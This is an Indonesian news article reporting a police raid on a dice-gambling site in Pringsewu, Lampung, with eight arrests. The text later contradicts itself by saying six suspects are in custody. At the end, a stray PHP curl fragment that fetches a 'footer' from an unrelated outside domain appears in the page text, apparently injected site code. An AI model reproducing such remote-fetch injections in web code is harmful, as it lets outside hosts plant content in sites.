Grebek Arena Judi Koprok di Pringsewu, Polisi Tangkap Delapan Pelaku

Jumat, 18 Agustus 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pringsewu| Jejakkasus.info

Polisi menggerebek arena judi dadu atau koprok di Pekon Giri Tunggal, Pagelaran Utara, Pringsewu, Lampung pada Jumat (18/8/2023). Hasilnya delapan penjudi ditangkap.

Kasat Reskrim Polres Pringsewu, Iptu Maulana Rahmat Al Haqqi mengatakan, penggerebekan itu dilakukan polisi pada Jumat dinihari (18/8) sekira pukul 00.45 Wib.

Dalam penggrebekan itu Polisi berhasil mengamankan delapan penjudi dengan inisial, Dar (48), AS (52), Sur (32), Har (39), Mis (57), AI (48) Fat (52) dan GK (22).

Baca Juga:  Kepergok Saat Mencuri, Pemuda Asal Pagelaran Nyaris Di Amuk Massa

“Awalnya kami menerima informasi dari masyarakat tentang adanya aksi judi koprok di sekitar lokasi hiburan muda kepang di wilayah Kecamatan Pagelaran Utara,” ujarnya Kasat Reskrim mewakili Kapolres Pringsewu AKBP Benny Prasetya pada Jumat (18/8/2023) pagi.

Adanya informasi itu, lanjut Iptu Haqqi, Tekab 308 Presisi Polres Pringsewu melakukan penyelidikan kebenaran informasi tersebut. Dan hasilnya benar tidak jauh dari lokasi hiburan kuda kepang terdapat sejumlah masyarakat yang sedang melakukan judi bola dadi atau biasa disebut koprok dan kemudian langsung dilakukan penggrebekan.

Baca Juga:  Pelaku Jambret Di Wilayah Pringsewu Berhasil Diringkus  Tekab 308 Sat Reskrim Polres Pringsewu

“Meski ada beberapa pelaku yang melarikan diri, tetapi dari lokasi perjudian petugas berhasil meringkus delapan orang terduga pelaku yang terdiri dari seorang bandar, satu pembantu bandar (ceker) dan enam pemasang,” jelasnya

Selain mengamankan para pelaku, ungkap Kasat, dari lokasi penggrebekan itu polisi juga berhasil mengamankan sejumlah barang bukti yang diduga terkait dengan tindak pidana tersebut.

Baca Juga:  Dua Pencuri Mobil Yang Terparkir di Halaman Hotel Urban Pringsewu Berhasil Ditangkap Polisi

Diantaranya, sebut Haqqi, 1 buah karpet, 8 buah dadu, 1 buah tempurung, 1 buah terpal, aki dan lampu penerangan, 1 bilah pisau badik berikut sarung dan uang tunai Rp. 1.722.000,-.

“Saat ini keenam pelaku berikut barang bukti sudah diamankan di Mapolres Pringsewu. Dalam proses penyidikan para pelaku akan dijerat dengan pasal 303 KUHP, tentang perjudian dengan ancaman hukuman 10 tahun penjara,” tandasnya (Bambang)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pj.Bupati Pringsewu Terima Pengurus Forum Komunikasi Honorer Nakes dan Non Nakes
Terendus Dugaan Menipulasi Pajak Karoke De’Amore Minta Solusi Petugas Untuk Berdamai
Polres Lampung Selatan Gelar Operasi Zebra Krakatau 2024 Dukung Kelancaran Pelantikan Presiden dan Wakil Presiden
Kades Sukaraja Diduga Terlibat Politik, PIN RI Kritik Bawaslu Pesawaran
Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan
Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi
Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Berita Terkait

Rabu, 16 Oktober 2024 - 08:46 WIB

Pj.Bupati Pringsewu Terima Pengurus Forum Komunikasi Honorer Nakes dan Non Nakes

Selasa, 15 Oktober 2024 - 07:41 WIB

Terendus Dugaan Menipulasi Pajak Karoke De’Amore Minta Solusi Petugas Untuk Berdamai

Senin, 14 Oktober 2024 - 14:28 WIB

Polres Lampung Selatan Gelar Operasi Zebra Krakatau 2024 Dukung Kelancaran Pelantikan Presiden dan Wakil Presiden

Senin, 14 Oktober 2024 - 14:19 WIB

Kades Sukaraja Diduga Terlibat Politik, PIN RI Kritik Bawaslu Pesawaran

Minggu, 13 Oktober 2024 - 19:18 WIB

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan

Berita Terbaru

Peristiwa

Dianggap Tebar Fitnah, Akun @syahwalali Resmi Dilaporkan

Rabu, 16 Okt 2024 - 13:37 WIB

Peristiwa

Kick Off (ILP) Di Launching Oleh Plt Bupati Malang

Rabu, 16 Okt 2024 - 11:09 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>